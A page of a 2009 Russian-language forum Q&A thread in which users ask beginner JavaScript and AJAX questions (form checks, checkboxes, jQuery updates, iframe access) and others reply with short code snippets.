PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 [7] 8 9 10

PaCo
30.05.2009, 10:08
Ну в случаии error можно:
try{}
catch{}
ну а если фреймверком пользуешься то каким?

Mixon
30.05.2009, 10:22
1. Такого слова я впервые слышу.
2. В том то и проблема,что ошибка не возникает,сервер как бы отдаёт страницу но без резулятата или просто как бы грузит её грузит грузит и грузит,и до безконечности... Тут бы сделать на принципе:
Если ответ с страницы не получен через 50 секунд то исполняеться ето,есле получил то всё,вот только как так сделать я хз..

DIEZalok
30.05.2009, 18:56
Есть одна небольшая просьба.

Можете, пожалуйста, написать скрипт на Java Script.
Цель: скрипт для заказа в магазине, т.е. очень простой скрипт.
Есть форма - там поля всякие Имя, Фамилия, Дата рождения, адрес, e-mail.
Надо чтобы просто была проверка всех полей на наличие символов, а email, что бы по @ определял... потом нужно 2 кнопки: "Очистить" (при кликина нее форма очищаетсмя) и кнопка "Отправить" при клике на нее вылетает alert о оповещении, что все ок)
Кому не трудно, пожалуйста, напишите!

Mixon
31.05.2009, 21:09
Ето лишь первое,но от умников тебе нужно и в пыхе это всё проверять,а то убьют твой магазин...)

mff
31.05.2009, 22:13
DIEZalok, сгугли любую форму отправки с проверкой полей... Благо их полно...

InferNo23
01.06.2009, 16:08
Использую функцию переноса строки:



<script type="text/javascript">
function wrap_box(){
var str = document.getElementsByClassName("sm");

for(var i = 0; i < str.length; i++){
var tempObj = document.createElement("div");

tempObj.id = "out_wrap";
tempObj.style.display = "none";
document.getElementsByTagName("body")[0].appendChild(tempObj);

for(var ii = 0; ii < str[i].innerHTML.length; ii++) {
tempObj.innerHTML += str[i].innerHTML[ii] + "​​​​";
}

str[i].innerHTML = tempObj.innerHTML;
document.body.removeChild(tempObj);
}

}

onload = wrap_box;
</script>



Все работает, но проблема в том, что если в блоке содержится html-код (<a href="asdaasd">asd</a> asdasdsasadsas, например) то после обработкой функцией он отображается как простой текст, как снова сделать рендеринг страницы чтобы заработали эти теги?

Спасибо.

astrologer
01.06.2009, 17:05
InferNo23,
window.onload = function()
{
var
path = '//*[@class="sm"]//text()',
nodes = document.evaluate(path, document, null, 6, null),
shy = String.fromCharCode(173),
i = 0,
node = null;

while(node = nodes.snapshotItem(i++))
{
node.data = node.data.split('').join(shy);
}
};

astrologer
01.06.2009, 17:16
Замени document.evaluate на функцию, получающую список всех текстовых элементов. xpath там просто для сокращения кода.

InferNo23
01.06.2009, 17:43
Какую именно?)

Если делать так:



function wrap_box(){
var str = document.getElementsByClassName("sm");

var IE = (navigator.userAgent.toLowerCase().indexOf('msie') != -1);
if(!IE){
for(var i = 0; i < str.length; i++){
var tempObj = document.createElement("div");

tempObj.id = "out_wrap";
tempObj.style.display = "none";
document.getElementsByTagName("body")[0].appendChild(tempObj);

for(var ii = 0; ii < str[i].innerHTML.length; ii++) {
tempObj.innerHTML += str[i].innerHTML[ii] + "​​​​​";
}

str[i].innerHTML = tempObj.innerHTML;
document.body.removeChild(tempObj);
}
} else {
str.style.wordWrap = 'break-word';
str.style.width = '200px';
}

}

window.onload = function(){
wrap_box();

var
nodes = document.getElementsByClassName("sm"),
shy = String.fromCharCode(173),
i = 0,
node = null;


while(node = nodes.snapshotItem(i++)){
node.data = node.data.split('').join(shy);
}
};




Перенос работает, но html-элементы так же отображаются текстом...




//upd:

проблема решена.

alwex
05.06.2009, 19:48
у меня есть форма где есть поля с type="radio" с name="id" и три hidden поля и надо сделать чтобы когда выбираеш в форме любое то внизу есть другая форма и чтобы оно когда выбираеш это данные сразу в форму кидало
Форма ниже:

<form method="post"><input name="days" value="ТУТ ID с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input name="price" value="ТУТ PRICE с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input name="days" value="ТУТ DAYS с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input type="text" value="" name="code" />
<input type="submit" name="add" value="Добавить" /></form>

помогите реализовать это

FireFenix
05.06.2009, 19:51
у меня есть форма где есть поля с type="radio" с name="id" и три hidden поля и надо сделать чтобы когда выбираеш в форме любое то внизу есть другая форма и чтобы оно когда выбираеш это данные сразу в форму кидало
помогите реализовать это
Озвуч по нормальному, что и как должно выполнятся

alwex
05.06.2009, 19:55
смотри есть форма

<form method="post">
<input type="radio" name="id" value="{$id}"><br />(это в цикле)
</form>

и надо сделать так чтобы когда я выбираю что-то с списка в другую форму передавались данные.

Другая форма:

<form method="post"><input name="id" value="ТУТ ID с той формы" dir=ltr style="width:300px; height:16px" class="f_input" readonly><br />
<input type="text" value="" name="code" />
<input type="submit" name="add" value="Добавить" /></form>

Как это сделать

FireFenix
05.06.2009, 20:07
<script language="Javascript">
function send(value)
{
document.getElementById('code').value=value;
}
</script>

<form method="post" name="form_1">
<input type="radio" name="id" value="1" onClick="javascript:send(this.value)">
<input type="radio" name="id" value="2" onClick="javascript:send(this.value)">
</form>

<form method="post" name="form_2">
<input id="code" name="code" type="text">
</form>
Текстовому полю будет присвоено значение радиобутона. Поиграв с функцией, можно довесить любые изменения данных

alwex
05.06.2009, 20:10
спасибо

alwex
05.06.2009, 21:07
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?

<form method="post" name="form_2">
<input name="id" dir=ltr readonly><br /> это поле с ID
<input type="text" value="" name="code" /> - это поле где должно выводиться алерт окно
<input type="submit" name="add" value="Добавить" /></form>

FireFenix
05.06.2009, 21:17
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?

<script language="Javascript">
function check()
{
if (document.getElementById('id').value.length == 0)
{
alert("Пусто");
}
}
</script>

<form method="post" name="form_2">
<input id="id" name="id" type="text">
<input id="code" name="code" type="text" onClick="javascript:check();">
</form>
или так
<input id="code" name="code" type="text" onClick="javascript:document.getElementById('id').value.len gth > 0?alert('Что-то есть'):alert('Пусто');">
Если я правильно понял задачу

alwex
05.06.2009, 21:45
совершенно. спасибо ещё раз

alwex
05.06.2009, 21:52
для <textarea name="code" onClick="javascript:check();"> подойдет?

roddik
05.06.2009, 22:13
а можно сделать так чтобы когда юзер нажимает в форме на <input type="text" где name="code" то если поле id пустое то выводилось Алерт окно типо поле id пустое?

тебе наверное нужно выводить предупреждение не когда идет переход на следующее поле, а убирается фокус с предыдущего - иначе, если юзер после набора id перескочит поле, ничего не произойдет - попробуй использовать ивент onblur http://design.originweb.info/dhtml/onblur.html

alwex
05.06.2009, 22:25
неа, у него именно то

FireFenix
05.06.2009, 22:27
для <textarea name="code" onClick="javascript:check();"> подойдет?
здесь функция check сработает по нажатию на текстовое поле code

alwex
05.06.2009, 22:36
я уже понял...

Architek86
06.06.2009, 22:08
Народ, а можно ли как то средствами js сделать так, что бы при отсутствии картинки на сервере браузером отображалась какая нибудь default.jpg, т.е. мне нужно что-то наподобие: img.onerror="img.src='default.jpg'";
???

FireFenix
06.06.2009, 23:02
Народ, а можно ли как то средствами js сделать так, что бы при отсутствии картинки на сервере браузером отображалась какая нибудь default.jpg, т.е. мне нужно что-то наподобие: img.onerror="img.src='default.jpg'";
???


<script language="Javascript">

function imageError(Image)
{
Image.src="error.jpg";
}

</script>

<img id="image" name="image" src="image.jpg" onError="imageError(this)" onAbort="imageError(this)">

Zitt
07.06.2009, 19:55
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php

FireFenix
07.06.2009, 20:20
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php

Что значит придут?
Если вызывается функция и заносятся данные, то можно сразу в вызываему функцию занести.
Если аякс, то по событие прихода.
Как вариант повесить на таймер проверку наличия данных.

Если же нужно проверить наличие данных в переменной, то это можно либо

if (variablename !== undefined)
{
alert('Есть');
}
либо

if (variablename.length > 0)
{
alert('Есть');
}

Vanofuture
07.06.2009, 22:49
Как сделать, чтобы жава код исполнялся только после того как придут некоторые переменные? а пока просто выдавать текст... аналог if (!isset в php
Если неизвестно существует ли переменная, то код:
if(typeof varname != 'undefined'){alert('exists');}

Zircool
08.06.2009, 23:47
Вопрос.. какую функцию использовать для автоматического нажатия кнопочки на странице? Если известно имя кнопки...

FireFenix
08.06.2009, 23:51
Кнопочка задействует отправку формы. Отправить форму можно выполнив

document.forms[0].submit(); //0 - порядковый номер формы

либо через

document.getElementById("id формы").submit();;

m0nsieur
09.06.2009, 10:31
Все же сабмит это несколько иное, возможно кнопка форму не сабмитит, тогда лучше так:

document.getElementById('button1').click();

alwex
09.06.2009, 17:42
смотрите у меня есть скрипт какой достает с базы данные и их выводит в блоке (типо топ) и мне надо сделать так чтобы при нажатии на кнопку Обновить он с помощью JQUERY запроса показывал картинку загрузки и обновлял данные... как это сделать?

Vanofuture
10.06.2009, 03:13
смотрите у меня есть скрипт какой достает с базы данные и их выводит в блоке (типо топ) и мне надо сделать так чтобы при нажатии на кнопку Обновить он с помощью JQUERY запроса показывал картинку загрузки и обновлял данные... как это сделать?
Процесс обновления данных зависит от того в каком виде вернётся результат от сервера. Если это xml файлом, то код будет таким:
<input onclick="updateData();" value="Обновить" />

function updateData(){
target=$('#updateBlock'); // область которую будем обновлять
target.html('<img src="путь_до_картинки_запроса" border="0" />');
$.get('тут путь к xml файлу', function(data){
data=$('main', data).text();
target.html(data);
});

main — путь в xml файле где будут данные которыми обновим содержимое блока.
Пример xml-файла:
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ а вот и данные которые будут обновлены ]]></main>

alwex
10.06.2009, 19:18
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ ТУТ МОЖЕТ БЫТЬ ПХП КОД? ]]></main>

и как сделать чтобы в виде php и html кода возвращало

Vanofuture
11.06.2009, 02:46
<?php
echo '<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[';
// тут php код
echo ']]></main>';
?>

alwex
11.06.2009, 20:10
спс...

alwex
11.06.2009, 20:19
не роботает...

Vanofuture
11.06.2009, 23:09
не роботает...
Изменил идентификатор блока в js-скрипте? Консоль ошибок в браузере что-то сообщает?

KaZ@NoVa
12.06.2009, 00:29
<?xml version="1.0" encoding="UTF-8"?><main><![CDATA[ ТУТ МОЖЕТ БЫТЬ ПХП КОД? ]]></main>

и как сделать чтобы в виде php и html кода возвращало
Крайне не рекомендуется загружать PHP-код с клиента, поскольку это открывает практически безграничную дыру в системе. Вернуть клиенту PHP нельзя, поскольку PHP не выполняется на клиенте,

alwex
12.06.2009, 12:28
так а что делать?

alwex
12.06.2009, 12:30
Изменил идентификатор блока в js-скрипте? Консоль ошибок в браузере что-то сообщает?

missing } after function body

Vanofuture
12.06.2009, 16:59
Нашёл ошибку, вот правильный вариант:
function updateData() {
target = $('#updateBlock'); // область которую будем обновлять
target.html('<img src="путь_до_картинки_запроса" border="0" />');
$.get('тут путь к xml файлу', function(data) {
data = $('main', data).text();
target.html(data);
});
}

alwex
12.06.2009, 17:38
$ is not defined
[Break on this error] target = $('#updateBlock'); // область которую будем обновлять

alwex
13.06.2009, 14:53
уже исправил всё...

Zitt
15.06.2009, 11:57
как выпарсить текст между определенными тегами текущей страницы? (<h1> и </h1> )

krypt3r
15.06.2009, 12:16
alert (document.getElementById('elem_id').innerText);

Zircool
17.06.2009, 02:13
Посоветуйте скрипт для посдсчета количества символов в форме <textarea>.. Есть вот такой


<h1><br>Ââåäèòå òåêñò:</h1>
<form name="form" onsubmit="return false" action="javascript:void()">
<p class="noindent"><textarea onkeypress="count()" onkeyup="count()" name="text" rows="10" cols="60"></textarea> <br>Ñèìâîëîâ: <input name="result"> <br><input value="Î÷èñòèòü" type="reset">&nbsp; </p></form>
<script>
function isSpace(s){
return (s==" " || s=="n" || s=="13" || s=="t" || s=="r")?true:false
}
function count(){
var c=0
var i
var prevspace=true
var str=document.forms.form.text.value
for(i=str.length-1;i>=0;i--){
if(isSpace(str.charAt(i)) && prevspace){
}else{
c++
}
prevspace=isSpace(str.charAt(i))
}
document.forms.form.result.value=c
return false
}
</script>
</td></tr></tbody></table>


Но с таким кодом не могу копировать текст с помощью php, $_POST[' имя textarea'] из textarea((

krypt3r
17.06.2009, 03:11
String.length не подойдет?

.::BARS::.
17.06.2009, 06:01
скажите как можно перегружать всего какуюто часть страницы а не все страницу...
например нужно перегрузить месяц календаря... как это сделать?

FireFenix
17.06.2009, 09:42
AJAX

.::BARS::.
17.06.2009, 10:52
я знаю как это называется.. я прошу показать пример как это организовать

KaZ@NoVa
17.06.2009, 18:23
скажите как можно перегружать всего какуюто часть страницы а не все страницу...
например нужно перегрузить месяц календаря... как это сделать?
AJAX. Он состоит из 2 частей: Java-скрипта, который будет выполняться в клиентском браузере и непосредственно отображать данные, и скрипта, непосредственно передающего эти данные. В твоём случае второй скрипт скорее всего будет на РНР. Как пользоваться AJAX'ом гугли - статей по этой технологии как собак нерезанных. Сам недолюбливаю, поэтому стараюсь не юзать.

попугай
17.06.2009, 19:21
Как взять элемент по классу, а потом применить метод .click() к нему ?

например есть теги


<div class="row"> fsdfsdf</div>

<div class="row"> jhfghf</div>

<div class="row"> рапр рапр</div>

<div class="row"> парапрапр</div>

<div class="row"> gdgdfgdfg</div>


нужно скриптом кликнуть по каждому.

FireFenix
18.06.2009, 09:51
<script language="Javascript">
function chek()
{
var class_name = 'row';
var elements = document.getElementsByTagName('div')

for (i = 0; i < elements.length; i++)
{
if (elements[i].className == class_name)
{
//Функция клика для elements[i]
}
}
}
</script>

ilor
19.06.2009, 10:41
Только что начал осваивать ajax. Но никак не получается исправить ошибку:

<html>
<head>
<title></title>

<script language="JavaScript" type="text/JavaScript">
var request = null;
function createRequest(){
try{
request = new XMLHttpRequest();
} catch(trymicrosoft){
try{
request = new ActiveXObject("Msxm12.XMLHTTP");
} catch (othermicrosoft){
try{
request = new ActiveXObject("Microsoft.XMLHTTP");
} catch(failed){
request = null;
}
}
}
if(request == null)
alert("Ошибка при создании объекта!");
}
function getNumber(){
createRequest();
var url = "getNumber.php";
request.open("GET", url, true);
request.onreadystatechange = updatePage;
request.send(null);
}
function updatePage(){
if(request.readyState == 4){
var newTotal = request.responseText;
var numEl = document.getElementById("number");
replaceText(numEl, newTotal);
}
}
</script>
</head>

<body>
<h2>Число: <span id="number"></span></h2>
<form method="GET">
<input value="Обновить" type="button" onClick="getNumber();">
</form>
</body>
</html>

getNumber.php

<?php echo rand(1,9); ?>

Число получаю, а вставляться оно не хочет в <span id="number"></span>. Останавливается на это строке - replaceText(numEl, newTotal);
Помогите пожалуйста!

m0nsieur
19.06.2009, 10:57
замени свою строку - replaceText(numEl, newTotal); я что-то такой функции не нашел(да и firebug говорит, что она undefined)
на вот это document.getElementById("number").innerHTML = newTotal;

marlen
21.06.2009, 18:46
Всем привет!
Есть такой код:
<script language="javascript">
function insertext(smile)
{
window.opener.document.getElementById('post_text') .value += ' ' + smile + ' ';

}
</script>

он вставляет смайлик в поле у которого <textarea name="post_text">
Как сделать так, чтобы он работал не только с одним "post_text" но ещё с "post_text2" и "post_text3" ?
Спасибо!
С меня +

FireFenix
21.06.2009, 19:12
<script language="javascript">
function insertext(smile)
{
for (i = 0; i < 4; i++)
{
if (i == 0) {name = 'post_text';} else {name = 'post_text_' + i;}

window.opener.document.getElementById(name).value += ' ' + smile + ' ';
}
}
</script>

marlen
21.06.2009, 21:26
FireFenix, спасибо, но я не подумал, что можно будет таким оброзом решить пробему...
у меня не "post_text1", "post_text2", "post_text3" а "post_text" и "comments"
Напишите пожалуйста код где только "post_text" и "comments"

Спасибо!

FireFenix
21.06.2009, 21:45
FireFenix, спасибо, но я не подумал, что можно будет таким оброзом решить пробему...
у меня не "post_text1", "post_text2", "post_text3" а "post_text" и "comments"
Напишите пожалуйста код где только "post_text" и "comments"

Спасибо!

<script language="javascript">
function insertext(smile)
{
//Присваиваем elem_text объект с id="post_text"
var elem_text = window.opener.document.getElementById('post_text') ;
//Добавдяем к значению elem_text текст смайла
elem_text.value += ' ' + smile + ' ';

//По аналогии с первым
var elem_comm = window.opener.document.getElementById('comments');
elem_comm.value += ' ' + smile + ' ';
}
</script>

astrologer
21.06.2009, 21:54
Тогда уж так. function addText(id, smile)
{
opener.document.getElementById(id).value += ' ' + smile + ' ';
};

addText('post_text', ':)');
addText('comments', '=/');

marlen
21.06.2009, 22:29
FireFenix, Ваш пример работает только с полем "post_text" в поле с "comments" он не вставляет смайл.

astrologer, Ваш пример не работает ни с одним полем.

FireFenix
21.06.2009, 22:38
FireFenix, Ваш пример работает только с полем "post_text" в поле с "comments" он не вставляет смайл.

astrologer, Ваш пример не работает ни с одним полем.
В примере astrologer лишнее "opener" или недорписанное "window" :)

В обоих примерах используется функция getElementById("name"); где name - Id нужного тега (<input id="name" type="text">) => смотрите чтобы Id совпадал с Id тега, а так же Id было единственное на весь документ
Если всёравно неработает - выложите html, что вы заполняете

marlen
21.06.2009, 22:47
У меня два поля
Первое:
<textarea name="comments" id="comments" >

Второе:
<textarea id="post_text" name="post_text" >

Ваш пример вставляет в <textarea id="post_text" name="post_text" > а в <textarea name="comments" id="comments" > не хочет.

На странице совподений id нет

astrologer
21.06.2009, 22:48
лишнее "opener" я так думаю, у marlen меню/кнопка находится во всплывающем окне. Это следует из самого первого приведенного им(или ей) кода.
или недорписанное "window" А здесь могла бы быть длинная история о том, как происходит scope chain lookup. Но её не будет, лучше почитайте сами ecma-262 (http://www.ecma-international.org/publications/standards/Ecma-262.htm).

marlen
21.06.2009, 22:52
я так думаю, у marlen меню/кнопка находится во всплывающем окне. Это следует из самого первого приведенного им(или ей) кода.
да, кнопка находится во всплывающем окне.

FireFenix
21.06.2009, 23:25
Вот всё работает
1.html

<script language="javascript">

function show()
{
window_insert = window.open("2.html", 'window_insert', 'toolbar=no, location=no, directories=no, menubar=no, scrollbars=yes, resizable=no, status=no, height=400, width=600');
}

</script>

<textarea name="comments" id="comments">qwerty</textarea>
<textarea id="post_text" name="post_text">asdfg</textarea>
<br>
<a href="javascript:show()">Show</a>

2.html

<script language="javascript">

function add()
{
smile = ':)';

var elem_text = window.opener.document.getElementById('post_text') ;
elem_text.value += ' ' + smile + ' ';

var elem_comm = window.opener.document.getElementById('comments');
elem_comm.value += ' ' + smile + ' ';
}

</script>

<a href="javascript:add()">Add</a>

Vlad&slav
21.06.2009, 23:47
<script src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.js"></script>
<script>
$(document).ready(function(){
$.ajax({
type: "POST",
url: "qwerty.php",
asynch: true,
success: function (data){if (data=='ERROR'){document.location('http://бла_бла_бла');}}
});
});
</script>

Скрипт находится на html странице, и если получает от скрипта qwerty.php ERROR то происходит редирект на http://бла_бла_бла , а если OK то продолжает работу (на странице ничего не изменяется.
Он почему-то не работает , и при "ERROR" редиректа не происходит =( Исправьте плиз.

FireFenix
22.06.2009, 01:42
Как вариант - проверьте соответствие кодировок и посмотрите, что возвращает запрос

m0nsieur
22.06.2009, 10:33
2 Vlad&slav дело наверное в этой строке
function (data){if (data=='ERROR')

проверь как ты отдаешь на стороне php результат, должно быть что-то вроде такого
echo json_encode(array('msg' => 'ERROR'));

и тогда ты сравнивая должен указать еще имя возвращенной переменной, а именно
function (data){if (data.msg=='ERROR')

imajo.ati
23.06.2009, 14:02
проблема:

arr = document.getElementById("some_id").getElementsByTagName("div");
массив содержит объекты div
arr[0] = obj_0
arr[1] = obj_1

мне нужно сделать так:
arr[0] = obj_1
arr[1] = obj_0

как это сделать?
ведь если сделать так: arr[1] = arr[0] то выдаст ошибку

Pashkela
23.06.2009, 14:46
<script type="text/javascript">

var arr = new Array(3);
arr[0] = "1";
arr[1] = "2";
arr[2] = "3";

document.write(arr + "<br />");
arr = arr.reverse();
document.write(arr);
</script>

imajo.ati
23.06.2009, 15:35
Pashkela
спасибо за мысль, но я видимо недостаточно конкретно изложил проблему:

в массиве больше 15 элементов, а нужно поменять 2 и 3 к примеру

iv.
25.06.2009, 09:12
Делаю запрос к серверу, если из браузера, то всё норм, если из проги, то вылетает:
<script>
if (timer) window.clearInterval(timer);
timer=window.setInterval("ajax_loadInto('/results/1182ffe10406f1f68ea6d218013b74d5.htm','search_resu lts')",2000);
</script>
Собственно, что за хрень? Есть способы получить нужную страницу?
http://site.com/results/1182ffe10406f1f68ea6d218013b74d5.htm - пробовал, не то.

XopoIII
27.06.2009, 07:13
даны 4 чекбокса, и два текстовых поля, нужно:
при выделении первого чекбокса, писать значение его в текстовое поле1, при выделении второго, писать его значение в текстовое поле2...при снятии галочки с первого чекбокса, значение второго переходит в первое....а второй пустой....вобщем они должны принимать значения двух чекбоксов последовательно нажатых.....у меня слетает после перестановки первого чекбокса в другое место и наоборот...запутался вобщем, подмогите
<script>
function test(id){
var count=$("input:checkbox[name='left_block'][checked]").size();
if (count=='1'){
if(document.getElementById('11').value==''){
document.getElementById('11').value=$("input:checkbox[name='left_block'][checked]").val();
}else if(document.getElementById('11').value!=''){
document.getElementById('11').value=document.getEl ementById('22').value;
document.getElementById('22').value='';
}
}else if(count=='2'){
document.getElementById('22').value=document.getEl ementById(id).value;
}
}
</script>
<input type="checkbox" name="left_block" id="1111" value="1111" onclick=javascript:test('1111');>
<input type="checkbox" name="left_block" id="2222" value="2222" onclick=javascript:test('2222');>
<input type="checkbox" name="left_block" id="3333" value="3333" onclick=javascript:test('3333');>
<input type="checkbox" name="left_block" id="4444" value="4444" onclick=javascript:test('4444');>
<br>
<input type="text" id="11">
<input type="text" id="22">
<br>

DECIDE
27.06.2009, 08:14
если что, у меня есть хороший файлик (dup.js) для работы с динамическим обновлением

возможности:
изменение содержания на лету
изменение стилей, смена дизайна
изменение полей формы
переход по загруженным страничкам
и др.

кому интересно могу описать как работать с данной библиотечкой
не надо изобретать свой велосипед, всё очень просто делается :)

XopoIII
27.06.2009, 08:24
лучше с примером помоги разобраться+)

FireFenix
27.06.2009, 10:16
лучше с примером помоги разобраться+)

<script>
function test()
{
var element_1 = document.getElementById('ch1');
var element_2 = document.getElementById('ch2');

var textbox_1 = document.getElementById('txt1');
var textbox_2 = document.getElementById('txt2');

if (element_1.checked == true)
{
textbox_1.value = element_1.value;

if (element_2.checked == true)
{
textbox_2.value = element_2.value;
} else {
textbox_2.value = '';
}
} else {
textbox_2.value = '';

if (element_2.checked == true)
{
textbox_1.value = element_2.value;
} else {
textbox_1.value = '';
}
}
}
</script>

<input type="checkbox" name="left_block" id="ch1" value="1111" onClick="javascript:test();">
<input type="checkbox" name="left_block" id="ch2" value="2222" onClick="javascript:test();">
<input type="checkbox" name="left_block" id="ch3" value="3333">
<input type="checkbox" name="left_block" id="ch4" value="4444">
<br>
<input type="text" id="txt1">
<input type="text" id="txt2">
<br>

Вроде как бы ты хотел это.....
Если не то - правильно сформулируй задачу

XopoIII
27.06.2009, 10:23
почти, проблема заключается в том, что можно нажимать и на третий и на 4ый чекбокс(тоесть выбрать можно любые из 4ех но толька два) допустим первым выбираю 4ый чекбокс а вторым 1ый....

вроде получше обьяснил=)

FireFenix
27.06.2009, 10:42
<script>
function test(Id)
{
var element = document.getElementById(Id);

var textbox_1 = document.getElementById('txt1');
var textbox_2 = document.getElementById('txt2');

if (element.checked == true)
{
if (textbox_2.value.length > 0)
{
textbox_2.value = element.value;
} else {
if (textbox_1.value.length > 0)
{
textbox_2.value = element.value;
} else {
textbox_1.value = element.value;
}
}
} else {
if (textbox_2.value.length > 0)
{
textbox_1.value = textbox_2.value;
textbox_2.value = '';
} else {
textbox_1.value = '';
}
}
}
</script>

<input type="checkbox" name="left_block" id="ch1" value="1111" onClick="javascript:test('ch1');">
<input type="checkbox" name="left_block" id="ch2" value="2222" onClick="javascript:test('ch2');">
<input type="checkbox" name="left_block" id="ch3" value="3333" onClick="javascript:test('ch3');">
<input type="checkbox" name="left_block" id="ch4" value="4444" onClick="javascript:test('ch4');">
<br>
<input type="text" id="txt1" value="">
<input type="text" id="txt2" value="">
<br>

XopoIII
27.06.2009, 11:31
смотри=) выбираешь два чекбокса: первый и четвертый(пример(текстовые поля получа.тся 1111-4444))
убираешь первый, все нормально, знаение перескакивает в первое текстовое поле из второго(4444- ).нажимаем опять на первый получаем(4444-1111) и тут начинается небольшой глюк....если пользователь дурак(как и я)и опять нажмет на первый чекбокс то значение замениться и получится(1111-1111)

понимаю что нужно просто проверку еще поставить, но у меня конец смены на работе, голова не варит

такой сбой и до этого у меня был, думал у тебя получилось по другому=(

astrologer
27.06.2009, 13:26
<form>
<input type="checkbox" name="left_block" value="1111">
<input type="checkbox" name="left_block" value="2222">
<input type="checkbox" name="left_block" value="3333">
<input type="checkbox" name="left_block" value="4444">
<br>
<input type="text" name="txt1" id="txt1">
<input type="text" name="txt2" id="txt2">
<br>
</form>
<script>

(function(bind)
{
var

form = document.forms[0],

ult = form.txt1,
penult = form.txt2,

history = [];

bind.call(form, 'click', function voodoo(e)
{
var node = e.target || e.srcElement, i, value = node.value, entries;

if(node.name != 'left_block')
{
return;
}

if(node.checked)
{
history.push(value);
}
else
{
i = history.length;

while(i--)
{
if(history[i] == value)
{
history.splice(i, 1);
}
}
}

entries = history.slice(-2)

ult.value = entries.shift() || '';
penult.value = entries.shift() || '';

});

})(document.addEventListener ?

function(type, fn, bubble)
{
this.addEventListener(type, fn, !!bubble);
} :

function(type, fn)
{
this.attachEvent('on' + type, fn);
});

</script>

XopoIII
27.06.2009, 15:47
astrologer - спасибо огромное, обалденно все работает....буду вникать. =)

Krist_ALL
27.06.2009, 18:22
Подскажите пожалуйста как сдеалть

Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.

В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))

BrainDeaD
27.06.2009, 18:53
Подскажите пожалуйста как сдеалть

Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.

В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))
if(box.checked)
{ a1.checked = true;
a10.checked = true;
a15.checked = true;
}
else
{ box.checked = false;
}

Krist_ALL
27.06.2009, 18:57
а мога поподробнее?

BrainDeaD
27.06.2009, 19:07
а мога поподробнее?
в смысле подробнее? это в принципе всё
вот отличный туториал к чб:
klick (http://www.hscripts.com/tutorials/javascript/dom/checkbox-events.php)

astrologer
27.06.2009, 19:14
вот отличный туториал к чб:
klick (http://www.devmag.net/tricks/js/javascript_33.htm)<a onclick="if(document.checkbox.box.checked) document.checkbox.box.checked=false; else document.checkbox.box.checked=true;" href="#"> Box an/aus</a>Не очень хороший туториал :) Ещё и на немецком.

Krist_ALL
27.06.2009, 19:20
ну нифига не въеду(

Vanofuture
27.06.2009, 21:37
Подскажите пожалуйста как сдеалть

Есть несколько чекбоксов с именами а1 а10 а15 не по попорядку номера.
Нада сделать один чекбокс , ели его отметить то все чекбоксы отмечаются.

В яваскрипт СОВСЕМ не силнен! Ненавижу его)))))))
Чекбоксу поставить onclick="checkallboxes(this)"
Сам скрипт:
function checkallboxes(obj){
boxes=new Array('a10', 'a15'); // перечисляем чекбоксы
if(obj.checked!=true){return;}
for(i=0;i<boxes.length;i++){
document[boxes[i]].checked=true;}}

BrainDeaD
27.06.2009, 22:11
Не очень хороший туториал :) Ещё и на немецком.
LOL не то скопипастил. пост поправил.
вот кстати похожее решение по сабжу klick (http://www.hscripts.com/scripts/JavaScript/select-all-checkbox.php)

ещё раз ссыла на туториал klick (http://www.hscripts.com/tutorials/javascript/dom/checkbox-events.php)

XopoIII
28.06.2009, 02:07
ну нифига не въеду(
попробуй с jquery будет проще:
проверяешь, если нажали твой чекбокс, то:
$("input:checkbox[name='твои_чекбоксы']").attr('checked', true);
и все выделены

Daned
28.06.2009, 20:52
Помогите плз с небольшим траблом:
<html>
<head>
<title>text</title>
</head>
<body>
<form name="form">
<textarea name="text[id]" cols="40" rows="6"></textarea><br>
<input type="button" name="knopka" value="do"
onClick="document.form.text[id].value='Ok';">
</form>
</body>
</html>
Без приставки [id] работает нормально, с ней почему то не хочет, а нужно =/ Как правильно записать?

astrologer
28.06.2009, 21:17
Daned,
document.form['text[id]'].valueА ещё правильнее вынести обработчик из html и давать осмысленные названия в каком-то одном стиле.

admink1
29.06.2009, 02:10
charcode где кодировать\декодировать ? подскажите сайт)

j0ker13
29.06.2009, 13:48
есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме?

и еще)
<iframe id=frame name=frame1 src="1.html" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe>
<button onclick="alert(window.frames['frame'].document.body.innerHTML);">click!</button>
выводит в алерте содержимое а так нет:
<iframe id=frame name=frame1 src="http://192.168.1.2/drop.php" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe>
<script>
var a=window.frames['frame'].document.body.innerHTML;
alert(a);
</script>
ругается на то что требуется обэект :)

Корвин
29.06.2009, 14:07
попробуй через getElement

var a=document.getElementById('frame').innerHTML;

Vanofuture
29.06.2009, 14:27
есть страничка. в ней ифрейм. как прочитать значение текстового поля во фрейме?

document.getElementById('ид_фрейма').docum ent.getElementById('ид_поля').value;
а так нет: <iframe id=frame name=frame1 src="http://192.168.1.2/drop.php" name="my_ip" align="right" scrolling="no" frameborder="15" marginheight="0" marginwidth="0"></iframe> <script> var a=window.frames['frame'].document.body.innerHTML; alert(a); </script>
А у страницы на которой этот код стоит хост тоже 192.168.1.2?

j0ker13
29.06.2009, 15:02
2Корвин
var a=document.getElementById('frame').innerHTML;
alert(a);
не ругается но алерт выскакивает пустой

2Vanofuture
